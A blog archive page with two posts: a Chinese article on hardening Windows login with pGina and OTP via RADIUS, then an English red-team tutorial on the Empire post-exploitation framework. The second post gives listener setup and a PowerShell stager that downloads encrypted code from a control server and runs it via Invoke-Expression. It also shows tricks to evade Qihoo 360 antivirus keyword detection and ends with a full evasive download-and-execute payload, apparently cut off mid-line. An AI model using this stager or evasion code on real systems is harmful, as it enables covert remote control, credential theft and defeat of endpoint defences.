Monthly Archives: May 2019

现代办公网安全体系建设系列之一:统一化新型认证体系探索

无论是否情愿,并不是每家公司都能像Google一样在办公体系中完全移除了域控的(大部分)存在感,域仍然是安全人员觉得微妙的存在。 一方面各种域策略、账户的可视化配置方便了大部分企业的IT桌面支持人员在初创阶段做无脑配置,然而另一方面,域控天生与新时代ZeroTrust理念是无法完美契合的。最大的槽点不在于认证源仅仅只有固定密码可选(据传新的Windows Server终于将开始引入OTP,以及Azure AD在某种程度上是支持的),此外其他域提供的各种管理功能在现代互联网企业Linux+开源组件定制化的大技术栈下同样显得格格不入。

但在ZeroTrust理念指导下,我们仍然可以对Windows认证体系进行加固和改造,极大提高其安全性。本系列文章将介绍可能用到的各类工具以及微软自身提供的mitigations,随后讨论如何基于这些手段和理念构建纵深防御。
在上面提到Windows密码认证所固有的缺陷后,我们自然会提出如下的问题:如何改造固有的静态域认证体系?在这个理念指导下,可以采取什么样的手段?

一种显而易见的体系化改造是直接通过Windows Credential Provider提供的接入能力,改造认证源,取代Windows原有的认证能力,而本文将介绍的pgina就是其中的一个成熟的开源方案,pgina是一个开源的Windows Credential Provider认证框架,通过各种C#形式的插件,我们可以定制Windows的认证流程,取代传统的密码认证流程,与统一认证源完成打通,在某种程度上实现大一统SSO的梦想。

pgina架构介绍

pgina最早由David Wolff等开发并开源,借助Windows的Credential Provider体系,实现了ICrendtialProvider接口,实现了认证流程的定制。mutonufoai维护了一个fork版本,是目前比较活跃的分支。http://mutonufoai.github.io/pgina/

简单来说,在安装了pgina之后,我们可以在认证流中插入自定义的环节,Pgina原生提供了多种开箱即用的插件,通过这些插件与外部认证源打通。例如,我们可以通过自定义的Radius认证服务器或者通过http auth插件,来实现对OTP登录的支持,甚至更细粒度的控制。

pgina配置

我们以pgina接入radius认证后端为例,展示pgina的用法。需要注意的是pgina并不是一个中心的域控插件,需要安装部署到所有具体的目标机器上。

pgina认证流程区分为Authentication – Authorization – Gateway三个阶段。其中,Authentication阶段用于证明该用户提供的认证凭据是否正确,而Authorization阶段则决定该用户在凭据正确的情况下,其是否可以登录(例如只有某一个特定组的用户可以登录),Gateway阶段则更类似于认证通过之后的回调。例如在众多插件中,LocalMachine代表了该机器上的native认证,如果其他插件认证通过的用户在本机上不存在,则LocalMachine插件默认会在Gateway阶段创建对应的用户。当然,这个行为都是可配置的。

通过pGina插件在Windows认证中支持OTP认证

在有了这些基础知识之后,我们就可以通过插件连接到自定义的radius server,来对Windows开启OTP认证支持。受到Windows UI限制,用户可将OTP追加在其原始密码之前或之后,整体的流程如下图所示。

根据以上设计,我们甚至可以在某种程度上,摒弃域控体系的存在,而把认证源完全转移到统一的认证体系中。通过插件中所携带的信息,甚至可以做到对特定机器限定特定权限登录,以及检测到用户存在风险时自动拒绝登录等等。

根据实际测试经验和遇到的问题,有如下建议可供参考:

  1. 内置插件可用于快速测试功能,但在可用性上没有太多考虑,radius插件本身在高频使用中存在一些问题,建议根据其架构自行实现插件,通过自定义的认证协议与远端认证接口进行联调和实现
  2. 开启了插件认证的机器在被远程桌面时(如果允许远程桌面),远程桌面客户端侧需要关闭默认的网络级别验证,因为Network Level Authentication并不支持自定义的credential provider。关闭NLA并不会带来认证方式上的安全问题(例如hash被抓取之类的)
  3. pgina原版具有调试功能,但调试功能较为难用,建议通过log形式调试,pgina.fork并不支持调试。插件主要为C#语言编写,需要对C#有一定的了解。

此外,一个显而易见的问题是,原账户的密码应当如何处理?LocalMachine插件当然支持对原账户的密码继续生效,但这会造成显而易见的短板。一种安全的做法是通过终端能力下发定制化脚本,对原有的账户密码进行定期全随机化,包括本地Administrator用户、域控体系下的域用户等。当然,出于灾备的考虑,对部分账户还需要通过一些方式保留原始认证能力供网络、存储等意外因素导致自定义认证服务不可用时排障使用,具体细节在此不在赘述。

总结

以上介绍了pgina认证体系及其插件化应用,同时以将OTP引入Windows认证为例,给出了一个案例。基于插件化的能力,我们可以摒弃域控认证体系部分固有的弱点,引入TOTP二次认证体系,统一认证后端。API接口的能力允许我们对认证权限做更统一的细粒度规划,而不是拘泥于Windows域所固有的体系,降低维护成本,提高安全性。

注:该文已授权首发于 跳跳糖:
https://tttang.com/archive/1282/

Testing Empire as post-exploitation framework in domain environment

Testing Empire as post-exploitation framework in domain environment

Due to recent research on Red-Blue Team Operations, I became interested in various post-exploitation framework. Since the widely adoption of powershell which is shipped by default in Windows 7 and Windows 10, it has become a popular stager for pen-testers and red team. The following article will describe one of the popular framework called Empire (https://github.com/EmpireProject/Empire) with 3000+ stars, and how to use it on a typical workstation with AV installed.

Installation

The installation of Empire is quite simple. You can choose the docker approach, or install it on a host instance.

For installation steps on a host instance, follow the commands as below:

git clone https://github.com/EmpireProject/Empire cd Empire && sudo ./setup/install.sh

In a Debian-flavor environment the installation usually contains apt-update and adding some apt-source. So be patient.

The following steps are all based on Ubuntu 16.04.1. Some windows compilation are done on a Windows Server 2016 with Visual Stuido

Running

Go to the install directory of empire and type sudo ./empire to get started.

Alt

Listeners

The currently supported listeners in Empire are

(Empire: listeners) > uselistener
dbx http_com http_hop meterpreter redirector 
http http_foreign http_mapi onedrive 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > ?

Listener Commands
=================
agents Jump to the agents menu.
back Go back a menu.
creds Display/return credentials from the database.
execute Execute the given listener module.
exit Exit Empire.
help Displays the help menu.
info Display listener module options.
launcher Generate an initial launcher for this listener.
listeners Jump to the listeners menu.
main Go back to the main menu.
resource Read and execute a list of Empire commands from a file.
set Set a listener option.
unset Unset a listener option.

(Empire: listeners/http) > info

Name: HTTP[S]
Category: client_server

Authors:
@harmj0y

Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

Name Required Value Description
---- -------- ------- -----------
SlackToken False Your SlackBot API token to communicate with your Slack instance.
ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
KillDate False Date for the listener to exit (MM/dd/yyyy).
Name True http Name for the listener.
Launcher True powershell -noP -sta -w 1 -enc Launcher string.
DefaultDelay True 5 Agent delay/reach back interval (in seconds).
DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://172.16.3.77:80 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
Proxy False default Proxy to use for request (default, none, or other).
UserAgent False default User-agent string to use for the staging request (default, none, or other).
StagingKey True JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7 Staging key for initial agent negotiation.
BindIP True 0.0.0.0 The IP to bind to on the control server.
Port True 80 Port for the listener.
ServerVersion True Microsoft-IIS/7.5 Server header for the control server.
StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php

To maintain stealth against various network traffic monitoring, it is recommended to use http based listeners as it will only appear as normal http traffic.

The required options for http-base listeners are Host, Name and Port

(Empire: listeners/http) > set Name http1
(Empire: listeners/http) > set Port 81
(Empire: listeners/http) > execute
[*] Starting listener 'http1'
[+] Listener successfully started!

For example, a http listener’s traffic may looks like below:


(Empire) > listeners

[*] Active listeners:

Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://172.16.x.x:80 5/0.0

Stagers

After we created a listener, we need something to wrap the connection, named stager. Empire provides different stagers for different platform.

The simplest stager is a direct powershell command on Windows:

(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBJAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBlAFIAUwBpAG8ATgAuAE0AYQBqAG8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAcgBlAEYAXQAuAEEAcwBTAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlA(omitted)

Which is the core of all other payloads. You can directly paste it in a command prompt to test it out if you’re curious. On other platforms, similar logic is implemented with Python.

(Empire: listeners) > usestager 
multi/bash osx/dylib windows/backdoorLnkMacro windows/launcher_sct
multi/launcher osx/jar windows/bunny windows/launcher_vbs
multi/macro osx/launcher windows/csharp_exe windows/launcher_xml
multi/pyinstaller osx/macho windows/dll windows/macro
multi/war osx/macro windows/ducky windows/macroless_msword
osx/applescript osx/pkg windows/hta windows/shellcode
osx/application osx/safari_launcher windows/launcher_bat windows/teensy
osx/ducky osx/teensy windows/launcher_lnk 

Empire currently supports stagers listed above. You can test different windows stagers. When you choose a stager, use options to fill in the required attribute. Example goes below:

(Empire: listeners) > usestager multi/pyinstaller
(Empire: stager/multi/pyinstaller) > options

Name: pyInstaller Launcher

Description:
Generates an ELF binary payload launcher for
Empire using pyInstaller.

Options:

Name Required Value Description
---- -------- ------- -----------
Language True python Language of the stager to generate.
SafeChecks True True Switch. Checks for LittleSnitch or a
SandBox, exit the staging process if
true. Defaults to True.
Base64 True False Switch. Base64 encode the output.
Defaults to False.
Listener True Listener to generate stager for.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
BinaryFile True /tmp/empire File to output launcher to.

(Empire: stager/multi/pyinstaller) > set Listener http1
(Empire: stager/multi/pyinstaller) > execute

Sample payload analysis

Let’s now have a brief view on the launcher metasploit script Empire generates.

The first IF script block is a trick to disable powershell logging to bypass Windows Defenders analysis, which is quite popular abroad. I will not elaborate on this here and you can refer to citation documents. Windows defender employs a per-statement detection approach, while some domestic AVs will step further to block powershell directly if certain keywords are found.

[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;
$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; 
$WC.HeAdErS.Add('User-Agent',$u); 
$WC.PRoxY=[SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;
$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;
$Script:Proxy = $wc.Proxy;
$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');
$R={
$D,$K=$ArgS;
$S=0..255; 
0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{
$I=($I+1)%256; 
$H=($H+$S[$I])%256; 
$S[$I],$S[$H]=$S[$H],$S[$I]; 
$_-bXoR$S[($S[$I]+$S[$H])%256]
} };
$ser='http://172.16.x.x:80';$t='/news.php';$Wc.HEaDERs.ADd('Cookie','session=4L4ZezFDPx');

$dAta=$WC.DowNlOaDDaATa($sEr+$T);$IV=$dATA[0..3]; 
$DATA=$data[4..$DAtA.LeNgTh];
-joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"

The followed block is the functional block. First, the script tries to establish a HTTP connection to control server. An IV is retrieved from response data (first four bytes). A hardcoded key will later be used to decrypt the function body. Notice the block defines a variable $R which kinda like lambda function. At the last line, $data and $IV+$K is passed into the lambda acting as $D, $K . The decryption result char array is joined and passed to IEX , i.e. Invoke-Expression

Sample Modules

Empire comes with quite some useful modules, in which bounded mimikatz module can be used to extract password and hash tokens, and privilege escalation modules can be used to elevate privilege to local admin or even domain admin.

AV bypass

Qihoo 360

When you directly paste the payload into cmd, it easily get blocked by Qihxx, indicating "powershell.exe is trying to execute". Besides process monitoring, I believe 360 also use script keyword detection to reduce false positives. However, as powershell is a very flexible language, it’s not easy to filter all malicious requests.

By binary search we deduced the keywords are

  • -enc command line in powershell arguments. E.g, powershell -enc aaa will be blocked by 360.
  • downloadData in powershell script will be detected and blocked by 360.
  • A statement is not permitted to have two or more plus signs. E.g. $a+$b;$b+$c will be blocked by 360.

All these methods have some ways to bypass.

  • For the first condition requirement, you can just simple drop the enc command argument
  • For the second requirement, note that we can use string as method node in powershell. I.e. $c="downl"+"oadData";$a.$c.invoke($bla)
  • For the third requirement, we can simply use $a-(-$b);$b-(-$c)

Appendix

Full powershell code to bypass 360

"[SYsTem.NET.SErvIcePOInTMANAgER]::EXPecT100CONtiNuE=0;$WC=NEW-OBjECT SYstem.NeT.WEBCliENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)
like Gecko';$WC.HeAdErS.Add('User-Agent',$u);$WC.PRoxY= [SYStem.NEt.WEbREqUEsT]::DEfaulTWEBPrOxY;$WC.ProxY.CreDEnTials = [SySTEm.NET.CreDenTIalCache]::DeFAUltNETWOrkCReDentIALs;$Script:Proxy = $wc.Proxy;$K= [SYStEm.TeXT.ENCodiNG]::ASCII.GEtBytES('JV+~fgh!GFWZ8=eiEN{[#}&x_XLtHKT7');$R= {$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J-(-$S[$_])- (-$K[$_%$K.CoUnt]))%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H= ($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_- bXoR$S[($S[$I]+$S[$H])%256]}};$ser='http://172.16.3.77:80';$t='/news.php';$Wc.HEaDERs.AD joIN[ChAr[]](& $R $datA ($IV+$K))|IEX"